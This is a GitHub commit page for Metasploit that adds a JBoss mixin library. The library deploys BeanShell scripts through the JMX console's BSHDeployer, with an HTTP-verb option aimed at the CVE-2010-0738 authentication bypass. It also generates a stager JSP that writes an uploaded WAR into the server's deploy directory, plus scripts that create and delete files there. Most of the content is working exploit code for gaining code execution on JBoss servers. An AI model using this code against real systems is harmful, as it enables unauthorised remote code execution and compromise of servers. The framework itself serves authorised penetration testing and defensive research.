Skip to content

Commit 3bbe9bf

Browse files
committed
Land rapid7#3540, JBoss refactoring with @us3r777
2 parents 5d708b6 + 0737d0d commit 3bbe9bf

File tree

10 files changed

+709
-258
lines changed

10 files changed

+709
-258
lines changed

lib/msf/core.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,7 @@ module Msf
6060
# Custom HTTP Modules
6161
require 'msf/http/wordpress'
6262
require 'msf/http/typo3'
63+
require 'msf/http/jboss'
6364

6465
# Drivers
6566
require 'msf/core/exploit_driver'

lib/msf/http/jboss.rb

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
# This module provides a way of interacting with JBoss installations
4+
module Msf
5+
module HTTP
6+
module JBoss
7+
require 'msf/http/jboss/base'
8+
require 'msf/http/jboss/bean_shell_scripts'
9+
require 'msf/http/jboss/bean_shell'
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::HTTP::JBoss::Base
13+
include Msf::HTTP::JBoss::BeanShellScripts
14+
include Msf::HTTP::JBoss::BeanShell
15+
16+
def initialize(info = {})
17+
super
18+
19+
register_options(
20+
[
21+
OptString.new('TARGETURI', [true, 'The URI path of the JMX console', '/jmx-console']),
22+
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]),
23+
OptString.new('PACKAGE', [false, 'The package containing the BSHDeployer service'])
24+
], self.class)
25+
end
26+
27+
end
28+
end
29+
end

lib/msf/http/jboss/base.rb

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::HTTP::JBoss::Base
4+
5+
# Deploys a WAR through HTTP uri invoke
6+
#
7+
# @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options
8+
# @param num_attempts [Integer] The number of attempts
9+
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise
10+
def deploy(opts = {}, num_attempts = 5)
11+
uri = opts['uri']
12+
13+
if uri.blank?
14+
return nil
15+
end
16+
17+
# JBoss might need some time for the deployment. Try 5 times at most and
18+
# wait 5 seconds inbetween tries
19+
num_attempts.times do |attempt|
20+
res = send_request_cgi(opts, 5)
21+
msg = nil
22+
if res.nil?
23+
msg = "Execution failed on #{uri} [No Response]"
24+
elsif res.code == 200
25+
vprint_status("Successfully called '#{uri}'")
26+
return res
27+
else
28+
msg = "http request failed to #{uri} [#{res.code}]"
29+
end
30+
31+
if attempt < num_attempts - 1
32+
msg << ", retrying in 5 seconds..."
33+
vprint_status(msg)
34+
Rex.sleep(5)
35+
else
36+
print_error(msg)
37+
return res
38+
end
39+
end
40+
end
41+
42+
# Provides the HTTP verb used
43+
#
44+
# @return [String] The HTTP verb in use
45+
def http_verb
46+
datastore['VERB']
47+
end
48+
49+
end

lib/msf/http/jboss/bean_shell.rb

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::HTTP::JBoss::BeanShell
4+
5+
DEFAULT_PACKAGES = %w{ deployer scripts }
6+
7+
# Deploys a Bean Shell script with a set of JBOSS default packages
8+
#
9+
# @param bsh_script [String] The Bean Shell script to deploy
10+
# @return [String, nil] The package name used to deploy the script, nil otherwise
11+
def deploy_bsh(bsh_script)
12+
package = nil
13+
14+
if datastore['PACKAGE'].blank?
15+
packages = DEFAULT_PACKAGES
16+
else
17+
packages = [ datastore['PACKAGE'] ]
18+
end
19+
20+
packages.each do |p|
21+
if deploy_package(bsh_script, p)
22+
return p
23+
end
24+
end
25+
26+
package
27+
end
28+
29+
# Deploys a Bean Shell script using the specified package
30+
#
31+
# @param bsh_script [String] The Bean Shell script to deploy
32+
# @param package [String] The package used to deploy the script
33+
# @return [Boolean] `true` if the script gets deployed, `false` otherwise
34+
def deploy_package(bsh_script, package)
35+
success = false
36+
37+
print_status("Attempting to use '#{package}' as package")
38+
res = invoke_bsh_script(bsh_script, package)
39+
40+
if res.nil?
41+
print_error("Unable to deploy WAR [No Response]")
42+
elsif res.code < 200 || res.code >= 300
43+
case res.code
44+
when 401
45+
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
46+
else
47+
print_error("Unable to deploy BSH script [#{res.code} #{res.message}]")
48+
end
49+
else
50+
success = true
51+
end
52+
53+
success
54+
end
55+
56+
# Invokes a Bean Shell script on the JBoss via BSHDeployer
57+
#
58+
# @param bsh_script [String] A Bean Shell script
59+
# @param package [String] The package used to deploy the script
60+
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
61+
def invoke_bsh_script(bsh_script, package)
62+
params = { }
63+
params.compare_by_identity
64+
params['action'] = 'invokeOpByName'
65+
params['name'] = "jboss.#{package}:service=BSHDeployer"
66+
params['methodName'] = 'createScriptDeployment'
67+
params['argType'] = 'java.lang.String'
68+
params['arg0'] = bsh_script
69+
params['argType'] = 'java.lang.String'
70+
params['arg1'] = Rex::Text.rand_text_alphanumeric(8+rand(8)) + '.bsh'
71+
72+
opts = {
73+
'method' => http_verb,
74+
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
75+
}
76+
77+
if http_verb == 'POST'
78+
opts.merge!('vars_post' => params)
79+
else
80+
opts.merge!('vars_get' => params)
81+
end
82+
83+
send_request_cgi(opts)
84+
end
85+
86+
end
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::HTTP::JBoss::BeanShellScripts
4+
5+
# Generates a Bean Shell Script.
6+
#
7+
# @param type [Symbol] The Bean Shell script type, `:create` or `:delete`.
8+
# @param opts [Hash] Hash of configuration options.
9+
# @return [String] A Bean Shell script.
10+
def generate_bsh(type, opts ={})
11+
bean_shell = nil
12+
case type
13+
when :create
14+
bean_shell = create_file_bsh(opts)
15+
when :delete
16+
bean_shell = delete_files_bsh(opts)
17+
end
18+
19+
bean_shell
20+
end
21+
22+
# Generate a stager JSP to write a WAR file to the deploy/ directory.
23+
# This is used to bypass the size limit for GET/HEAD requests.
24+
#
25+
# @param app_base [String] The name of the WAR app to write.
26+
# @return [String] The JSP stager.
27+
def stager_jsp(app_base)
28+
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
29+
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
30+
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
31+
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
32+
content_var = Rex::Text.rand_text_alpha(8+rand(8))
33+
34+
stager_jsp = <<-EOT
35+
<%@page import="java.io.*,
36+
java.util.*,
37+
sun.misc.BASE64Decoder"
38+
%>
39+
<%
40+
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
41+
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
42+
try {
43+
String #{content_var} = "";
44+
String parameterName = (String)(request.getParameterNames().nextElement());
45+
#{content_var} = request.getParameter(parameterName);
46+
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
47+
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
48+
#{fos_var}.write(#{decoded_var});
49+
#{fos_var}.close();
50+
}
51+
catch(Exception e){ }
52+
%>
53+
EOT
54+
55+
stager_jsp
56+
end
57+
58+
# Generate a Bean Shell script which creates files inside the JBOSS's deploy
59+
# directory.
60+
#
61+
# @param opts [Hash] Hash containing the options to create the Bean Shell
62+
# Script.
63+
# @option opts :dir [Symbol] The dir where place the file.
64+
# @option opts :file [Symbol] The file path.
65+
# @option opts :contents [Symbol] The file contents.
66+
# @return [String] A Bean Shell script to create the file.
67+
def create_file_bsh(opts = {})
68+
dir = opts[:dir]
69+
file = opts[:file]
70+
contents = opts[:contents]
71+
72+
payload_bsh_script = <<-EOT
73+
import java.io.FileOutputStream;
74+
import sun.misc.BASE64Decoder;
75+
76+
String val = "#{contents}";
77+
78+
BASE64Decoder decoder = new BASE64Decoder();
79+
String jboss_home = System.getProperty("jboss.server.home.dir");
80+
new File(jboss_home + "/deploy/#{dir}").mkdir();
81+
byte[] byteval = decoder.decodeBuffer(val);
82+
String location = jboss_home + "/deploy/#{file}";
83+
FileOutputStream fstream = new FileOutputStream(location);
84+
fstream.write(byteval);
85+
fstream.close();
86+
EOT
87+
88+
payload_bsh_script
89+
end
90+
91+
# Generate a Bean Shell script to delete files from the JBoss's /deploy
92+
# directory.
93+
#
94+
# @param opts [Hash] Hash containing the files to delete, the values are
95+
# the files paths.
96+
# @return [String] A Bean Shell script to delete files.
97+
def delete_files_bsh(opts = {})
98+
script = "String jboss_home = System.getProperty(\"jboss.server.home.dir\");\n"
99+
opts.values.each do |v|
100+
script << "new File(jboss_home + \"/deploy/#{v}\").delete();\n"
101+
end
102+
103+
script
104+
end
105+
end

0 commit comments

Comments
 (0)